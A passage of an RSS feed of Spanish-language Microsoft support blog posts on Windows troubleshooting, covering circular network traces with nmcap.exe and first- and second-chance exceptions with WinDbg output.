<P style="TEXT-INDENT: -18pt; MARGIN: 0cm 0cm 0pt 18pt; mso-list: l1 level1 lfo3" class=MsoListParagraph><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"><SPAN style="mso-list: Ignore"><FONT size=3>4)</FONT><SPAN style="FONT: 7pt 'Times New Roman'">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN></SPAN></SPAN><FONT size=3><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold">Una vez configurada la excepción adecuada, pulsamos [OK] </SPAN><SPAN style="FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings"><SPAN style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"> [Save &amp; Close] </SPAN><SPAN style="FONT-FAMILY: Wingdings; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'; mso-char-type: symbol; mso-symbol-font-family: Wingdings"><SPAN style="mso-char-type: symbol; mso-symbol-font-family: Wingdings">à</SPAN></SPAN><SPAN style="FONT-FAMILY: 'Calibri','sans-serif'; COLOR: black; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-bidi-font-weight: bold"> [Next], y finalizamos indicando el nombre de la regla, la ubicación donde volcará los datos generados y activando la regla para que empiece a capturar datos<o:p></o:p></SPAN></FONT></P>
<P style="MARGIN: 0cm 0cm 0pt 18pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT face=Calibri>En una serie de próximos posts, cubriré algunas técnicas para introducirse en el análisis de volcados de memoria.<o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p><FONT face=Calibri>&nbsp;</FONT></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT face=Calibri>Happy hacking, <o:p></o:p></FONT></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><FONT face=Calibri><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold">-</SPAN><SPAN style="COLOR: black; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><FONT size=3> Daniel Mossberg</FONT></SPAN></FONT><SPAN style="COLOR: black; FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin; mso-bidi-font-weight: bold"><o:p></o:p></SPAN></P>]]></content:encoded>
    </item>
    <item>
      <title>Cómo capturar una traza de red circular con Network Monitor</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/cmo-capturar-una-traza-de-red-circular-con-network-monitor</link>
      <pubDate>Mon, 22 Mar 2010 09:48:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2010/03/22/cmo-capturar-una-traza-de-red-circular-con-network-monitor/</guid>
      <description><![CDATA[En ocasiones, necesitamos capturar trazas de red durante un periodo de tiempo prolongado, por...]]></description>
      <content:encoded><![CDATA[<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">En ocasiones, necesitamos capturar trazas de red durante un periodo de tiempo prolongado, por ejemplo para esperar hasta que se produzca un determinado comportamiento aleatorio que pretendemos investigar. Para estos escenarios puede ser &uacute;til capturar una traza de red circular, de forma que &uacute;nicamente se guarden los &uacute;ltimos <i style="mso-bidi-font-style: normal;">n</i> MB capturados, y los datos anteriores se vayan desechando autom&aacute;ticamente. <o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><o:p><span style="font-family: Calibri;">&nbsp;</span></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">De esta forma, la traza puede estar capturando datos durante d&iacute;as, y en el momento que se produzca el problema, paramos la traza que contendr&aacute; el tr&aacute;fico de red relevante que pretend&iacute;amos investigar en un fichero de un tama&ntilde;o manejable. <o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">Es importante configurar un tama&ntilde;o de buffer lo suficientemente grande para tener un margen desde que se reproduce el problema hasta que se para la traza, de forma que esta contenga el periodo de tiempo que se pretende investigar. El problema de las trazas circulares es que si se para la traza demasiado tarde, es posible que los datos que se pretend&iacute;an investigar ya hayan sido desechados. <o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">Network Monitor, permite capturar trazas circulares mediante la utilidad de l&iacute;nea de comandos nmcap.exe. La sintaxis para capturar una traza circular de 200 MB ser&iacute;a la siguiente:<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">C:\...\Microsoft Network Monitor 3&gt;<b style="mso-bidi-font-weight: normal;"><span style="background: red; mso-highlight: red;">nmcap.exe /network * /capture /file netTrace.cap:200M</span></b><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">Netmon Command Line Capture (nmcap) 3.3.1641.0<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">Saving info to:<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">C:\Program Files\Microsoft Network Monitor 3\netTrace.cap - using circular buffer of size 200.00 MB.<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">ATTENTION: Conversations Enabled: consumes more memory (see Help for details)<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">Exit by Ctrl+C<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt; background: black; mso-background-themecolor: text1;"><span lang="EN-US" style="font-family: Consolas; color: #f2f2f2; font-size: 12pt; mso-ansi-language: EN-US; mso-themecolor: background1; mso-style-textfill-fill-color: #F2F2F2; mso-style-textfill-fill-themecolor: background1; mso-style-textfill-fill-alpha: 100.0%; mso-themeshade: 242; mso-style-textfill-fill-colortransforms: lumm=95000;">Capturing<span style="mso-spacerun: yes;">&nbsp;&nbsp; </span>| Received: 411 Pending: 0 Saved: 411 Dropped: 0 | Time: 17 seconds.<o:p></o:p></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span lang="EN-US" style="font-size: 12pt; mso-ansi-language: EN-US; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">En el momento que se haya producido el problema, finalizamos la captura presionando <b style="mso-bidi-font-weight: normal;">Ctrl + C</b>.<o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;"><span style="mso-spacerun: yes;">&nbsp;</span><o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">Hasta el pr&oacute;ximo post, <o:p></o:p></span></span></p>
<p class="MsoNormal" style="margin: 0cm 0cm 0pt;"><span style="font-size: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri;"><span style="font-family: Calibri;">- Daniel Mossberg</span></span></p>]]></content:encoded>
    </item>
    <item>
      <title>¿Qué son las excepciones de first chance y second chance?</title>
      <link>https://docs.microsoft.com/archive/blogs/daniem/qu-son-las-excepciones-de-first-chance-y-second-chance</link>
      <pubDate>Fri, 26 Feb 2010 05:51:00 GMT</pubDate>
      <dc:creator><![CDATA[Daniel Mossberg]]></dc:creator>
      <guid
        isPermaLink="false">https://blogs.msdn.microsoft.com/daniem/2010/02/26/qu-son-las-excepciones-de-first-chance-y-second-chance/</guid>
      <description><![CDATA[Cuando adjuntamos un depurador a un proceso y se produce una excepción, el depurador es el primero...]]></description>
      <content:encoded><![CDATA[<SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><FONT face=Calibri>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p></SPAN></P><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">Cuando adjuntamos un depurador a un proceso y se produce una excepción, el depurador es el primero en ser notificado de esa excepción. El depurador puede manejarla, o simplemente dejar que la ejecución siga su curso, en cuyo caso el siguiente en ser notificado de la excepción es la propia aplicación. Por lo tanto, esta primera oportunidad que tiene el depurador para capturar una excepción se llama <I style="mso-bidi-font-style: normal">first chance</I>. Examinando las excepciones con un depurador como WinDbg, podríamos ver algo parecido a esto:<o:p></o:p></SPAN> <BR><BR>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>(1f68.140c): <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: red">CLR exception</SPAN></B><SPAN style="COLOR: red"> </SPAN>- code e0434f4d (first chance)<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>First chance exceptions are reported before any exception handling.<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>This exception may be expected and handled.<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>KERNELBASE!RaiseException+0x39:<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>000007fe`fcfcaa7d 4881c4c8000000<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>add<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>rsp,0C8h<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri; mso-ansi-language: EN-US" lang=EN-US><o:p>&nbsp;</o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">Examinando los detalles de la excepción .NET en cuestión (CLR Exception), podríamos ver que el depurador está capturando la siguiente excepción <STRONG>System.Web.HttpException</STRONG>:<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p>&nbsp;</o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>0:032&gt; !printexception<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>Exception object: 0000000155a173b8<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>Exception type: <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: red">System.Web.HttpException</SPAN></B><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>Message: <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: red">The file '/myApp/myUserControl.ascx' does not exist.<o:p></o:p></SPAN></B></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>InnerException: &lt;none&gt;<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>StackTrace (generated):<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>&lt;none&gt;<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt">StackTraceString: &lt;none&gt;<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt">HResult: 80004005<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p>&nbsp;</o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">En esta ocasión, la aplicación ASP.NET&nbsp;maneja la excepción adecuadamente, y el problema no pasa a mayores. No obstante, se puede dar la circunstancia de que la aplicación no maneje la excepción, o no pueda manejarla, en cuyo caso se lanzaría una excepción de <I style="mso-bidi-font-style: normal">second chance.</I>&nbsp;Las excepciones de <EM>second chance</EM> son la segunda y última oportunidad de capturar una excepción. En la mayoría de los casos, cuando se produce una excepción de <I style="mso-bidi-font-style: normal">second chance</I>, la ejecución&nbsp;el proceso finaliza inmediatamente, se produce un <EM>crash</EM>.</SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p>&nbsp;</o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri">En el siguiente ejemplo, vemos como se produce una excepción de Stack Overflow, y al no ser manejada por la aplicación (las excepciones de Stack Overflow particularmente, no se pueden manejar) se lanza primero una excepción de <I style="mso-bidi-font-style: normal">first chance</I>, y posteriormente en la misma instrucción de ensamblador, se lanza la excepción de <I style="mso-bidi-font-style: normal">second chance</I>. que provoca la finalización del proceso:</SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-SIZE: 12pt; mso-bidi-font-family: Calibri; mso-ascii-font-family: Calibri; mso-hansi-font-family: Calibri"><o:p>&nbsp;</o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>(1f60.1c0c): <B style="mso-bidi-font-weight: normal"><SPAN style="COLOR: red">Stack overflow - code c00000fd (first chance)</SPAN></B><o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>First chance exceptions are reported before any exception handling.<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>This exception may be expected and handled.<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>eax=00032000 ebx=7ffd9000 ecx=0001f208 edx=7c82860c esi=00000000 edi=00000000<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>eip=00401237 esp=000378b4 ebp=000378bc iopl=0<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>nv up ei pl nz na pe nc<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>cs=001b<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>ss=0023<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>ds=0023<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>es=0023<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>fs=003b<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>gs=0000<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>efl=00010206<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>StackOverflow!_chkstk+0x27:<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt; BACKGROUND: #f2f2f2; mso-background-themecolor: background1; mso-background-themeshade: 242" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US>00401237 8500<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </SPAN>test<SPAN style="mso-spacerun: yes">&nbsp;&nbsp;&nbsp; </SPAN>dword ptr [eax],eax<SPAN style="mso-spacerun: yes">&nbsp; </SPAN>ds:0023:00032000=00000000<o:p></o:p></SPAN></P>
<P style="MARGIN: 0cm 0cm 0pt" class=MsoNormal><SPAN style="FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt; mso-bidi-font-size: 12.0pt; mso-ansi-language: EN-US" lang=EN-US><o:p>&nbsp;</o:p></SPAN></P>
